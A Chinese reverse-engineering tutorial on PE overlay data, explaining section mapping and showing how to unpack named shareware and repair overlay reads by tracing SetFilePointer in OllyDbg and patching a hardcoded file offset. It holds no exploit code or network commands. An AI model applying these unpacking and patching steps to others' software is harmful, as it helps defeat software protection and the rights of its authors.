1.文件偏移中的200开始的100个字节将被影射到内存的401000开始的100个字节,后面的F000个字节将用0填充。
2.文件偏移中的300开始的100个字节将被影射到内存的402000开始的100个字节,后面的F000个字节将用0填充。也就是说,在磁盘是上相邻的两个数据12和34,在内存空间中将分开得老远,12在40102FF处,而34却在402000处。当然这只是我自己随便举的一个极端的例子,实际上由于文件的对齐机制在磁盘上每个段的结束都是填充了大量的0为什么要讲这些呢?因为区段是一般将会被映射到内存的,如果上面的例子中。将.data区段去掉。那么在磁盘上就将会留下从RA=300到RA=400其大小为100的数据,不会被影射到内存中。而这部分数据就将被认为是附加数据-overlay。
3.做个实验
1.用lordPE的pe editor打开一个notepad
2.打开他的senctions看看
3.把他的最后一个区段的文件大小RS修改一下(改成F00吧,少影射100的文件)
4.用peid打开来看看吧。PEID显示:Microsoft Visual C++ 6.0 SPx Method 1 [Overlay]
说明什么问题呢?
1.overlay只是数据他是不映射到内存的,他将被程序以打开自己的方式来读取数据
2.只要不是区段里面包括的文件的大小,将被视为overlay好了到这里可以总结一下了:
1.附加数据是在附加在文件后面的,不被映射到内存空间中的数据,他提供他自己的程序打开自己来读取,所以dump下来的时候是没有overlay的,需要我们手动把这一部分的数据粘贴到dump下来的数据后面。
2.一般来说在区段里面我们能找到所有区段的大小,这个大小的后面就是overlay的开始,于是对于上面的实验来说,他的overlay的开始地方就是最后一个区段的RA+RS(就是C000+F00=CF00)大小是从CF00到D000的最后100。
3.现在可以回答一个简单的问题了。为什么有些壳是overlay的,但是我们却不用处理他。因为他根本没有读取后面的数据,按照我们上面的实验我们完全可以做另一个实验就是在原来的notepad后面添加一个字节的00,而这时peid也会视为是overlay。试问这样的overlay难道我们也要复制他吗?二.如何解决附加数据的问题 win32程序对文件的操作有两中普通的文件操作和内存镜象文件,在这里我们主要是讨论普通的文件操作。
1.要回答这个问题首先就会关系到两个函数CreateFileA和SetFilePointer。对于CreateFileA他是打开文件的函数,当你下断CreateFileA你会发现程序断下的时候,他的第一个参数就是这个pe文件在磁盘上的完全路径,表示他正在对文件打开,将要对他进行文件读写操作。这个函数我就不多说了。下面详细说说SetFilePointer DWORD SetFilePointer(
HANDLE hFile, //在用CreateFileA打开后得到的文件句柄
LONG lDistanceToMove, //要移动的距离,这个是低32位
PLONG lpDistanceToMoveHigh, //要移动的距离,这是高32位,要注意这是一个指向数据的指针
DWORD dwMoveMethod //表示指针开始的位置
);
因为用CreateFileA打开一个文件后,系统会给这个文件维护一个指针,一开始是指向文件的第一个字节的。这个函数的作用是人为的移动这个文件指针。理由很简单,overlay数据不是在文件的第一个字节处。而他的返回值就是移动后的文件的新指针的位置。
上面的有两个参数要注意:1.lpDistanceToMoveHigh这个和上面的lDistanceToMove不一样,他是一个指针。指向一个32位的内存地址里面放着高32位的移动距离,他和lDistanceToMove的低32位的距离合起来表示一共要移动的距离(感觉是多此一举,一个32位就可以寻址4G,难道有一个4G的文件!?,而且高32位还设置成指针,难道是怕直接引用还不够?MS真是考虑得长远!)2.dwMoveMethod有3个参数
FILE_BEGIN =0 表示指针不管当前的位置在什么地方,从第一个字节开始算。
FILE_CURRENT =1 表示指针继承上面的,最后移动到的位置
FILE_END =2 表示指针不管当前的位置在什么地方,从最后一个字节开始算。 2.为什么dump下来的程序需要定位overlay?
dump的意思就是将内存的数据全部存储到磁盘,也就说对于上面的那个例1的例子来说,当我们从磁盘再把他dump下来的时候并不是还是400的大小了,而是3000的大小了!这一点请务必弄清楚。这时在原来文件中在200位置的数据,在dump下来的文件中就在1000处,依次类推可以得到其他的文件位置,这也就是为什么我们在dump下来后需要将RA=VA RS=VS的原因,幸亏体贴的lordPE自动的完成了这一个步骤! 这时虽然我们把overlay的数据粘贴到脱壳后的程序,但是与原来的文件位置完全变了。导致我们脱壳以后要重新定位文件指针让他读取到正确的数据。
3.为什么有些程序粘帖了overlay的数据就ok了?
这个东西口说无凭让我们来实战一下吧。就用上次pendan2001兄弟给的做例子吧。 http://nj2.onlinedown.net:81/files/zmgb2.0.rar 在脱完壳以后,修复输入表。发现运行不了。呵呵~没有填加附加数据嘛,不然我举这个例子干什么。 看他的区段发现他的最后一个区段是8E00开始,大小是1000。所以我们估计他的附加数据是从8E00+1000=9E00开始的地方。 用winhex打开未脱壳文件,到9E00处吧。呵呵~发现上面有很多0,这就是为什么有些牛人告诉我们找前面是0的原因,其实其本质是因为文件的对齐机制。 复制从这里到后面全部的数据到修复好输入表的那个(为什么是要先修复输入表,等下你就知道了^^)
好了,可以运行了。不明白为什么是吗? 到程序里面看看吧 用od载入,下断bp CreateFileA 和bp SetFilePointer F9以后断下了,看堆栈0012FC70 00401183 /CALL 到 CreateFileA 来自 桌面钢笔.0040117D
0012FC74 0012FDA0 |FileName = "G:downloads桌面钢笔V2.0.exe" //开始打开文件了
0012FC78 80000000 |Access = GENERIC_READ
0012FC7C 00000001 |ShareMode = FILE_SHARE_READ
0012FC80 00000000 |pSecurity = NULL
0012FC84 00000003 |Mode = OPEN_EXISTING
0012FC88 00000080 |Attributes = NORMAL
0012FC8C 00000000 hTemplateFile = NULL
0012FC90 0041F2B7 桌面钢笔.0041F2B7再运行又断下0012FC7C 004011A4 /CALL 到 SetFilePointer 来自 桌面钢笔.004011A2 //移动指针
0012FC80 00000030 |hFile = 00000030
0012FC84 FFFFFFF8 |OffsetLo = FFFFFFF8 (-8.) //负数表示向前移动
0012FC88 00000000 |pOffsetHi = NULL
0012FC8C 00000002 Origin = FILE_END //表示从文件的最后开始算又F9一下0012FC7C 00401220 /CALL 到 SetFilePointer 来自 桌面钢笔.0040121E
0012FC80 00000030 |hFile = 00000030
0012FC84 FFF5F738 |OffsetLo = FFF5F738 (-657608.)
0012FC88 00000000 |pOffsetHi = NULL
0012FC8C 00000002 Origin = FILE_END //又是从文件的最后算起好了,如果你再按一次会发现还是用FILE_END这个参数ok,知道什么了没有?我来解释一下用FILE_END参数表示指针从文件的最后开始移动,而附加数据无论在原来未脱壳的文件中和还是在脱壳的文件中,因为我们复制的是整个overlay区域,他的overlay部分的数据对于最后的一个字节的距离是不变的。他每次都用FILE_END当然我们这样复制就不需要重定位指针了,也就是说即使我们把原来的文件(从0地址开始)全部复制到脱壳后的文件中也是能够运行的,因为他是靠与最后的地址的距离来定位读取数据。换个说法,如果这个时候你把最后一个数据删掉,或者少复制哪怕是一个字节,就不能运行了。这也是我们为什么要先修复输入表的原因。总结:也就是说如果你把附加数据复制到脱壳后的程序发现能够运行,呵呵~恭喜你,你碰巧遇到用FILE_END为指针的程序。 4.下面我们来看看如果程序不用FILE_END的情况 还是以下面这个例子来说说吧
http://www.popbase.net/bbs/dispbbs.asp?BoardID=5&ID=1797
脱壳我就不说了。
打开区段发现这个附加数据的位置在4CA00+13724=60124(一个奇怪的位置^^) 复制以后发现不能运行,看来没这么好命,都是用FILE_END的啊! 我们要对比两个程序,所以最好两个都用OD载入,都到停在OEP处。
好了下断bp SetFilePointer这个是脱壳以后的程序的,运行以后断下0012FEBC 004091AA /CALL 到 SetFilePointer 来自 1_.004091A5
0012FEC0 00000168 |hFile = 00000168 (window)
0012FEC4 00060124 |OffsetLo = 60124 (393508.) //移动到60124处去
0012FEC8 00000000 |pOffsetHi = NULL
0012FECC 00000000 Origin = FILE_BEGIN //从头开始移动再看看未脱壳的,发现是一模一样的。这个60124不就是刚才附加数据开始的地方吗?看来脱壳后的程序不管这么多,还是访问了原来的位置,导致不能运行。好了,知道原因了以后我们就去解决他。关键是参数不对嘛~ATL+F9返回看看他是怎么压栈的。004091A0 /$ 51 push ecx ; /Origin
004091A1 |. 6A 00 push 0 ; |pOffsetHi = NULL
004091A3 |. 52 push edx ; |OffsetLo //这个EDX是关键
004091A4 |. 50 push eax ; |hFile
004091A5 |. E8 E2E0FFFF call ; SetFilePointer
004091AA . C3 retn //到这里F8 出来看看是什么地方对EDX赋上60124的。
00413780 . 0FB7C9 movzx ecx,cx
00413783 . 8B40 04 mov eax,dword ptr ds:[eax+4]
00413786 . E8 155AFFFF call 1_.004091A0
0041378B . C3 retn //到这里还是没什么结果,F8 继续00493570 . A3 C87A4A00 mov dword ptr ds:[4A7AC8],eax
00493575 . 33C9 xor ecx,ecx
00493577 . 8B15 CC7A4A00 mov edx,dword ptr ds:[4A7ACC] //哈哈~~找到你了
0049357D . A1 C87A4A00 mov eax,dword ptr ds:[4A7AC8]
00493582 . 8B30 mov esi,dword ptr ds:[eax]
00493584 . FF56 0C call dword ptr ds:[esi+C] //从这里call进去到SetFilePointer的
00493587 . E8 54FEFFFF call 1_.004933E0 //到这里原来是4A7ACC这的地址,对他下硬件写入,看看是什么时候写入了这个60124好了hw 4a7acc 重来,胜利在一步一步接近我们。00493496 . A1 D07A4A00 mov eax,dword ptr ds:[4A7AD0] //靠~是4A7AD0传给EAX的
0049349B . A3 CC7A4A00 mov dword ptr ds:[4A7ACC],eax //原来是这个EAX传过去的
004934A0 . EB 07 jmp short 1_.004934A9 //断在这里,望上看 再来下HW 4A7AD0 重来。0049927C |. C705 D07A4A00 24010>mov dword ptr ds:[4A7AD0],60124 //小样,还找不到你
00499286 |. C605 B27A4A00 01 mov byte ptr ds:[4A7AB2],1 //断在这里呵呵~~原来是0049927C这一句~~好了爆掉就可以了,把他改成你脱壳后的附加数据的开始地址就可以了。总结一下:对于定位指针我们一般是依靠SetFilePointer这个函数来一步一步的寻找定位的问题的突破口,这里各人有个人的方法我就不多说了,关键还是看你调试程序的功力如何。在看雪上,FLY大虾的《VB函数速查.eXe 脱壳后附加数据的修复》http://bbs.pediy.com/showthread.php?threadid=8789
问题的实质并不是指针指错了,而是虽然指对了overlay里面的数据,可是读出来的却是关联到未脱壳前的错误数据。可见,虽然是同一个问题但是实质和解决的办法不可能千篇一律,就像解决校验,解决overlay问题也需要具体问题具体分析。
--------------------------------------------------
3.总结
现在我想大家再回答开篇提出的几个问题已经不难了,其实我在文中也有答案了,但是我要强调的一点是对于PE文件的区段映射的概念的理解深入将有助你理解overlay的问题。我在这也不多言了。--------------------------------------------------
4.以后的思考
1.上面的那个60124是不是很奇怪啊,其实由于文件是对齐读入内存的,这部分的数据也将被影射到内存空间,不行你可以dd 4cb724看看。这就是说如果我们把区段扩大,把overlay也读入内存,虽然没什么用,但是却严重影响了我们对overlay的开始的判断!这种情况应该怎么拌呢?
2.换个思路,如果我们把文件的读写用于检验PE文件,应该怎么样设计一个简单的校验呢?
--------------------------------------------------
5.后话
本来这篇文章打算到放假才放出来毕竟现在太忙了,而且有很多想法也还不成熟,还有待实践,所以觉得这篇文章没有深入下去不得不说是一个遗憾,不过趁着新年就算给大家一个交代吧。随后我将进入紧张的复习阶段。但是,在这里还是要说一声:祝论坛里面的兄弟,新年快乐,万事如意。
谢谢您能看完,如转载请注明作者并保持文章的完整。
更多阅读
卫生间、厕所节水方法与窍门 生活中的节水小窍门
卫生间、厕所节水方法与窍门——简介提到厕所节水窍门,就不得不先把视角上提一下。所谓节约用水,规划先行。家庭节水,已经被列入城市改造规划当中,这是一项利国利民的规格。相信,大家也已经通过方方面面的渠道接收到各种各样的节水方法及
如何建仓之具体的操作方法 电解除锈具体操作方法
如何建仓之具体的操作方法——简介 建仓是指建立订单,投资者可以建立买入单或卖出单。若价格上升,则买入单获利,若价格下降,则卖出单获利。投资者需要根据对行情走势的判断自行决定是买入还是卖出。如何建仓之具体的操作方法——方法/
考试的心理调整方法与技巧 科目一考试程序
考试的心理调整方法与技巧——简介考试前,怎样让自己达到最好的状态去迎接考试呢,又有哪些方法和技巧调整自己的心理状态呢?下面给大家分享一下几种方法。考试的心理调整方法与技巧——工具/原料考试的心理调整方法与技巧 1、朋友考
提高录音整理效率节约时间的方法与技巧秘书必备 职场必备效率手册
提高录音整理效率节约时间的方法与技巧秘书必备——简介 录音整理是秘书人员的一项经常性工作,但是打开一个播放器和一个文档编辑器进行整理录音,随时要进行切换操作鼠标和键盘,很麻烦而且费时间。这里发现一个软件,可以通过快捷键一键
高中生物学习方法与经验总结
高中生物,是高中阶段的一门重要课程。对于理科生来说,尤其如此。要学好高中生物课,不仅要有明确的学习目的,还要有勤奋的学习态度和科学的学习方法。针对生物学科的特点,要学好高中生物,建议做到以下几个方面。高中生物学习方法与经验总结